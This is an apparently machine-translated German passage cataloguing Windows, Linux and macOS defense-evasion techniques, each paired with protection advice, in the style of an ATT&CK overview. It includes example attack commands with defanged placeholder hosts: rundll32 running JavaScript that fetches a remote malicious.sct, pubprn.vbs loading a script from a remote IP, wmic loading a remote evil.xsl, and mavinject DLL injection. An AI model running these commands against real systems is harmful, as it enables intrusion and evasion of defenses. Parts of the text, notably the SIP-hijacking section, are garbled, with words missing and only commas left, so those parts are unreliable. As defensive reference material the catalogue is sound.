macOSRechte: Administrator, System, RootBeschreibung: Rootkits sind Programme, die das Vorhandensein von Malware durch Abfangen und Ändern von API-Aufrufen verbergen. Rootkits können auf Benutzerebene, im Betriebssystemkern oder sogar niedriger auf der Ebene eines Hypervisors, MBR oder einer Systemfirmware arbeiten. Gegner verwenden Rootkits, um das Vorhandensein von Programmen, Dateien, Netzwerkverbindungen, Treibern und anderen Betriebssystemkomponenten zu verbergen.Schutzempfehlungen: Identifizieren und blockieren Sie potenziell gefährliche Software, die Rootkits enthalten kann, mithilfe von Whitelist-Tools, Antiviren-Tools oder integrierten Betriebssystem-Schutz-Tools.System: Windows-Rechte: BenutzerBeschreibung: Rundll32.exe ist ein Systemdienstprogramm zum Starten von Programmen in dynamisch verbundenen Bibliotheken. Es kann aufgerufen werden, um Binärdateien zu vertreten und Windows-Steuerdateien (.cpl) über undokumentierte Funktionen von shel32.dll auszuführen. Control_RunDLL und Control_RunDLLAsUser . Durch Doppelklicken auf die CPL-Datei wird auch Rundll32.exe ausgeführt. Rundll32 kann auch zum Ausführen von Skripten wie JavaScript verwendet werden:rundll32.exe Javascript: "\ .. \ mshtml, RunHTMLApplication"; document.write (); GetObject ("scrirpt: https [:] // www [.] Beispiel [ .] com / malicious.sct ")"Die obige Methode zur Verwendung von rundll32.exe wird von Antivirensoftware wie einem Virus wie Poweliks erkannt.Schutzempfehlungen: ASR (Attack Surface Reduction) in EMET und Advanced Theart Protection in Windows Defender können die Verwendung von Rundll32.exe zur Umgehung der Whitelist blockieren.System: Windows-Rechte: Administrator,Systembeschreibung: Angreifer können die Komponenten der Architektur zum Signieren und Überprüfen der digitalen Signatur von Windows-Code ändern, um die Steuerung des Starts von Programmen zu umgehen, mit denen nur signierter Code ausgeführt werden kann. Zum Erstellen, Signieren und Überprüfen der Signatur von Dateien verschiedener Formate in Windows wird das sogenannte Subject Interface Package (SIP) verwendet - Softwarespezifikationen, die für jeden Dateityp eindeutig sind und über die die Interaktion zwischen API-Funktionen die Erstellung, Berechnung und Überprüfung von Signaturen direkt initiiert Dateien. Die Gültigkeit der Signatur wird durch den sogenannten Trust Provider bestätigt.- Dies sind Softwarekomponenten des Betriebssystems, die verschiedene Verfahren zur Berechnung und Überprüfung digitaler Signaturen ausführen.Beliebte Angriffsmethoden:- Modification Schlüssel DLL und FuncName Abschnitt CryptSIPDllGetSignedDataMsg :
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Cryptography \ die OID \ EncodingType 0 \ CryptSIPDllGetSignedDataMsg \ [SIP_GUID] .
Es wird mit dem Ziel durchgeführt, die DLL-Bibliothek zu ersetzen, die die Funktion CryptSIPDllGetSignedDataMSG bereitstellt , . (, Microsoft ) SIP. , , , , , , , . - DLL FuncName :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData/[SIP_GUID] .
DLL-, CryptSIPDllVerifyIndirectData , , , , , (True/False). , c SIP. , DLL-. - DLL FuncName :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy/[Trust Provider GUID] .
DLL-, FinalPolicy Trust Provider, , . CryptSIPDllVerifyIndirectData, DLL-.
Es ist wichtig zu beachten, dass der beschriebene Angriff auf den Windows-Vertrauensmechanismus mithilfe der DLL-Suchreihenfolge-Hijacking-Technik implementiert werden kann.Schutzempfehlungen: Stellen Sie sicher, dass Benutzer des geschützten Systems keine Registrierungsschlüssel für die SIP- und Trust Provider-Komponenten ändern können. Entfernen Sie möglicherweise unnötige und veraltete SIPs. Verwenden Sie alle möglichen Mittel, um den Download von schädlichen DLLs zu blockieren, z. B. die in Windows AppLocker und DeviceGuard integrierten.System: Windows, Linux, macOSRechte: BenutzerBeschreibung: Angreifer können mithilfe von Skripten ihre Aktionen automatisieren, Betriebsaufgaben beschleunigen und dadurch die für den Zugriff erforderliche Zeit verkürzen. Einige Skriptsprachen können verwendet werden, um die Mechanismen zur Überwachung von Prozessen zu umgehen, indem direkt mit dem Betriebssystem auf API-Ebene interagiert wird, anstatt andere Programme aufzurufen. Skripte können als Makros in Office-Dokumente eingebettet und dann für Phishing-Angriffe verwendet werden. In diesem Fall erwarten die Angreifer, dass der Benutzer die Makrodatei ausführt oder dass der Benutzer der Aktivierung des Makros zustimmt. Es gibt verschiedene gängige Frameworks für die Implementierung von Skripten - Metasploit, Veil, PowerSploit.Sicherheitstipps: Beschränken Sie den Zugriff auf Skripts wie VBScript oder PowerShell. Konfigurieren Sie unter Windows die MS Office-Sicherheitseinstellungen, indem Sie die sichere Anzeige und das Makroverbot über das Gruppenrichtlinienobjekt aktivieren. Wenn Makros benötigt werden, lassen Sie nur vertrauenswürdige digital signierte Makros laufen. Verwenden Sie Mikrosegmentierung und Anwendungsvirtualisierung, z. B. Sandboxie für Windows und Apparmor, Docker für Linux.System: WindowsRechte: BenutzerBeschreibung: Mit vertrauenswürdigen digitalen Zertifikaten signierte Binärdateien können auf Windows-Systemen ausgeführt werden, die durch die Überprüfung der digitalen Signatur geschützt sind. Mehrere Microsoft-Dateien, die während der Installation von Windows standardmäßig signiert wurden, können als Proxy für den Start anderer Dateien verwendet werden:• Mavinject.exe ist ein Windows-Dienstprogramm, mit dem Code ausgeführt werden kann. Mavinject kann verwendet werden, um die DLL in den laufenden Prozess einzugeben:"C: \ Programme \ Gemeinsame Dateien \ Microsoft Shared \ ClickToRun \ MavInject32.exe" [PID] / INJECTRUNNING [PATH DLL];C: \ Windows \ system32 \ mavinject.exe [PID] / INJECTRUNNING [PATH DLL];• SyncAppvPublishingServer.exe - kann zum Ausführen von Powershell-Skripten verwendet werden, ohne Powershell.exe auszuführen.Es gibt mehrere ähnliche Binärdateien .Schutzempfehlungen: Viele signierte Dateien werden möglicherweise nicht auf Ihrem System verwendet. Blockieren Sie daher deren Start.System: Windows-Rechte: BenutzerBeschreibung: Mit vertrauenswürdigen Zertifikaten signierte Skripts können zum Proxyen schädlicher Dateien verwendet werden. PubPrn.vbs ist beispielsweise mit einem Microsoft-Zertifikat signiert und kann zum Ausführen einer Datei von einemRemoteserver verwendet werden: cscript C: \ Windows \ System32 \ Printing_Admin_Scripts \ ru-RU \ pubprn.vbs 127.0.0.1-Skript: http [:] // 192.168.1.100/hi.png Schutzempfehlungen: Solche signierten Skripte sind auf Ihrem System möglicherweise nicht erforderlich. Blockieren Sie daher den Start.System: WindowsBeschreibung:Beim Software-Packaging verwendet der Gegner Komprimierungs- oder Verschlüsselungsmethoden für ausführbare Dateien, was zu einer Änderung der Prüfsumme der Datei führt, wodurch eine Erkennung aufgrund der Suche nach statischen Signaturen vermieden wird. Die meisten Dekomprimierungsmethoden dekomprimieren ausführbaren Code im Speicher. Beispiele für beliebte Dienstprogramme - ausführbare Dateipacker sind MPRESS und UPS. Es sind jedoch viele andere Packer bekannt. Außerdem können Gegner ihre eigenen Verpackungsmethoden erstellen, die solche Artefakte nicht als bekannte Packer belassen. Das Packen ausführbarer Dateien ist kein eindeutiger Indikator für Malware, da legitime Softwareentwickler mithilfe von Verpackungsmethoden die Größe des Distributionspakets reduzieren oder proprietären Code schützen können.Schutzempfehlungen:Aktualisieren Sie die Virenschutz-Tools, erstellen Sie benutzerdefinierte Signaturen für die Malware-Erkennung und verwenden Sie heuristische Erkennungsmethoden. Identifizieren und blockieren Sie potenziell gefährliche Software.System: Linux, macOSRechte: BenutzerBeschreibung:Angreifer können den wahren Dateityp ausblenden, indem sie ihre Erweiterung ändern. Bei bestimmten Dateitypen (funktioniert nicht mit .app-Dateien) ändert das Hinzufügen eines Leerzeichens am Ende des Dateinamens die Art und Weise, wie die Datei vom Betriebssystem verarbeitet wird. Wenn beispielsweise eine ausführbare Datei Mach-O mit dem Namen evil.bin vorhanden ist, startet das Betriebssystem beim Doppelklicken des Benutzers Terminal.app und führt sie aus. Wenn dieselbe Datei in evil.txt umbenannt wird, wird sie mit einem Doppelklick in einem Texteditor gestartet. Wenn die Datei jedoch in "evil.txt" (Leerzeichen am Ende) umbenannt wird, wird durch Doppelklicken auf den Typ der wahren Datei das Betriebssystem bestimmt und die Binärdatei gestartet. Angreifer können diese Technik verwenden, um einen Benutzer zum Starten einer schädlichen ausführbaren Datei zu verleiten.Schutzempfehlungen:Die Verwendung dieser Technik ist schwer zu verhindern, weil Ein Angreifer verwendet Standardbetriebsmechanismen des Betriebssystems. Daher muss der Schutzvektor darauf ausgerichtet sein, böswillige Aktionen in früheren Phasen des Angriffs zu verhindern, z. B. in der Phase der Übermittlung oder Erstellung einer schädlichen Datei im System.System: Windows, LinuxRechte: Benutzer, Administrator, Systembeschreibung: Timestomp ist eine Änderung der Zeitstempel der Datei (Änderung, Zugriff, Erstellung). Häufig werden Zeitstempelmethoden verwendet, um Dateien zu maskieren, die von einem Angreifer geändert oder erstellt wurden, sodass sie für Forensiker und Forensik-Tools nicht erkennbar sind. Zeitstempel können in Verbindung mit der Dateinamenmaskierung verwendet werden, um Malware und Eindringlingstools auszublenden.Schutzempfehlungen:Richten Sie den Schutzvektor aus, um den Start potenziell gefährlicher und schädlicher Software zu verhindern. Die Forensik beschreibt Methoden zum Organisieren von Tools zum Erkennen von Änderungen von Zeitstempeln, indem Informationen zum Öffnen eines Dateideskriptors gesammelt und mit den in der Datei angegebenen Zeitstempeln verglichen werden.System: Windows-Rechte: Benutzerbeschreibung: Es gibt viele Dienstprogramme, die von Softwareentwicklern verwendet werden und zum Ausführen von Code in verschiedenen Formen beim Entwickeln, Debuggen und Reverse Engineering von Software verwendet werden können. Diese Dienstprogramme sind häufig mit digitalen Zertifikaten signiert, mit denen sie schädlichen Code im Betriebssystem übertragen können, wobei Sicherheitsmechanismen und weiße Anwendungsblätter umgangen werden.• MSBulid ist eine Softwareentwicklungsplattform, die in Visual Studio verwendet wird. Es werden Projekte in Form von XML-Dateien verwendet, die die Anforderungen für die Erstellung verschiedener Plattformen und Konfigurationen beschreiben. Mit MSBuild aus .NET Version 4 können Sie C # -Code in ein XML-Projekt einfügen, kompilieren und anschließend ausführen. MSBulid.exe ist vom Microsoft Digital Certificate signiert.• DNX - .Net Execution Environmant (dnx.exe) ist ein Entwicklungskit für Visual Studio Enterprise. Seit der .NET Core CLI im Jahr 2016 eingestellt. DNX fehlt in Standard-Windows-Builds und kann nur auf Entwicklerhosts vorhanden sein, wenn .Net Core und ASP.NET Core 1.0 verwendet werden. Dnx.exe ist digital signiert und kann zur Ausführung von Proxy-Code verwendet werden.• RCSI ist eine nicht interaktive Befehlszeilenschnittstelle für C #, ähnlich wie csi.exe. Es wurde in einer früheren Version der Roslyn .Net-Compilerplattform eingeführt. Rcsi.exe ist vom Microsoft Digital Certificate signiert. C # .csx-Skriptdateien können mit Rcsi.exe an der Windows-Eingabeaufforderung geschrieben und ausgeführt werden.• WinDbg / CDB ist der MS Windows-Kernel und ein Dienstprogramm zum Debuggen im Benutzermodus. Der Microsoft-Konsolen-Debugger cdb.exe ist auch ein Debugger im Benutzermodus. Beide Dienstprogramme können als eigenständige Tools verwendet werden. Wird häufig in der Softwareentwicklung und im Reverse Engineering verwendet und ist auf normalen Windows-Systemen nicht zu finden. Sowohl WinDbg.exe- als auch CDB.exe-Dateien sind vom Microsoft Digital Certificate signiert und können zum Proxy-Code verwendet werden.• Tracker - Dienstprogramm zur Verfolgung von Dateien auf tracker.exe. In .NET als Teil von MSBuild enthalten. Wird zum Registrieren von Aufrufen im Windows 10-Dateisystem verwendet. Angreifer können tracker.exe verwenden, um DLL in verschiedenen Prozessen auszuführen. Tracker.exe ist auch mit einem Microsoft-Zertifikat signiert.Schutzempfehlungen: Alle oben genannten Dateien müssen aus dem System entfernt werden, wenn sie von den Benutzern nicht für den vorgesehenen Zweck verwendet werden.Beschreibung: Angreifer können die Anmeldeinformationen eines bestimmten Benutzers oder Dienstkontos mithilfe der Zugriffstechniken für Anmeldeinformationen stehlen und die Anmeldeinformationen während des Intelligenzprozesses mithilfe von Social Engineering erfassen. Kompromittierte Anmeldeinformationen können verwendet werden, um Zugriffskontrollsysteme zu umgehen und Zugriff auf Remotesysteme und externe Dienste wie VPN, OWA, Remotedesktop zu erhalten oder um erhöhte Berechtigungen für bestimmte Systeme und Bereiche des Netzwerks zu erhalten. Wenn das Szenario erfolgreich ist, können Angreifer Malware ablehnen, um die Erkennung zu erschweren. Außerdem können Angreifer Konten mit vordefinierten Namen und Kennwörtern erstellen, um den Sicherungszugriff aufrechtzuerhalten, falls erfolglos versucht wird, andere Mittel zu verwenden.Schutzempfehlungen: Wenden Sie eine Kennwortrichtlinie an und befolgen Sie die Empfehlungen zum Entwerfen und Verwalten eines Unternehmensnetzwerks, um die Verwendung privilegierter Konten auf allen Verwaltungsebenen einzuschränken. Regelmäßige Überprüfungen von Domänen- und lokalen Konten und deren Rechten, um diejenigen zu identifizieren, die einem Angreifer einen umfassenden Zugriff ermöglichen könnten. Überwachung der Kontoaktivität mithilfe von SIEM-Systemen.System: Windows-Rechte: BenutzerBeschreibung: Angreifer können einen laufenden, legitimen externen Webdienst als Mittel zum Senden von Befehlen zur Steuerung eines infizierten Systems verwenden. Verwaltungsserver werden als Befehl und Kontrolle (C & C oder C2) bezeichnet. Beliebte Websites und soziale Netzwerke können als Mechanismus für C2 fungieren, und verschiedene öffentliche Dienste wie Google oder Twitter können ebenfalls verwendet werden. All dies hilft, böswillige Aktivitäten im gesamten Verkehrsfluss zu verbergen. Webdienste verwenden normalerweise SSL / TLS, sodass Gegner eine zusätzliche Schutzschicht erhalten.Schutzempfehlungen:Firewalls und Webproxys können verwendet werden, um externe Netzwerkkommunikationsrichtlinien zu implementieren. IDS / IPS-Systeme, die eine Signaturanalyse verwenden, können bekannte Malware auf Netzwerkebene erkennen. Es ist jedoch zu berücksichtigen, dass Gegner im Laufe der Zeit die C2-Tool-Signaturen ändern oder die Protokolle so neu erstellen, dass eine Erkennung mithilfe häufig verwendeter Abwehrmechanismen vermieden wird. Die Verwendung von Tools zur Überwachung des Benutzerverhaltens kann auch die Wahrscheinlichkeit erhöhen, abnormale Aktivitäten zu erkennen.System: WindowsRechte: BenutzerBeschreibung:Die erweiterbare Stylesheet-Sprache (* .xsl) wird normalerweise zur Beschreibung der Datenverarbeitung und des Renderns in XML-Dateien verwendet. Um komplexe Operationen in XSL zu unterstützen, können Skripte in verschiedenen Sprachen in den Code eingebettet werden. Angreifer können diese Funktionalität missbrauchen, um beliebige Dateien auszuführen. Ähnlich wie bei der Technik des Missbrauchs vertrauenswürdiger Entwicklerdienstprogramme (Trusted Developer Utilities) kann das vertrauenswürdige Dienstprogramm msxsl.exe, das ein XML-Dokument in eine andere Form (html, wml, rtf, pdf usw.) konvertiert, zum Ausführen von in lokal eingebettetem schädlichem JavaScript verwendet werden oder gelöschte (über URL referenzierte) XSL-Dateien. Da msxsl.exe nicht standardmäßig installiert ist, muss der Gegner es höchstwahrscheinlich und andere erforderliche Dateien packen. Beispielaufruf msxsl.exe:msxsl.exe Kunden [.] XML-Skript [.] xsl .Eine andere Variante dieser Technik, Squiblytwo genannt, ist die Verwendung von WMI zum Aufrufen von JScript oder VBScript aus einer xsl-Datei. Bei dieser Technik werden wie bei Squiblydoo, das regsrv32.exe missbraucht, auch vertrauenswürdige Windows-Tools verwendet:• Lokale Datei: wmic-Prozessliste /FORMAT:evil►.†xsl;• Remote-Datei: wmic os get / FORMAT : dechthttps [ : -------- // Beispiel [. † com / evil [. † xsl. " Schutzempfehlungen: Wenn msxsl.exe in der geschützten Umgebung nicht verwendet wird, blockieren Sie die Ausführung. Das Deaktivieren von WMI kann im Gegenteil zu einer Systeminstabilität führen und erfordert daher eine vorläufige Bewertung der Folgen.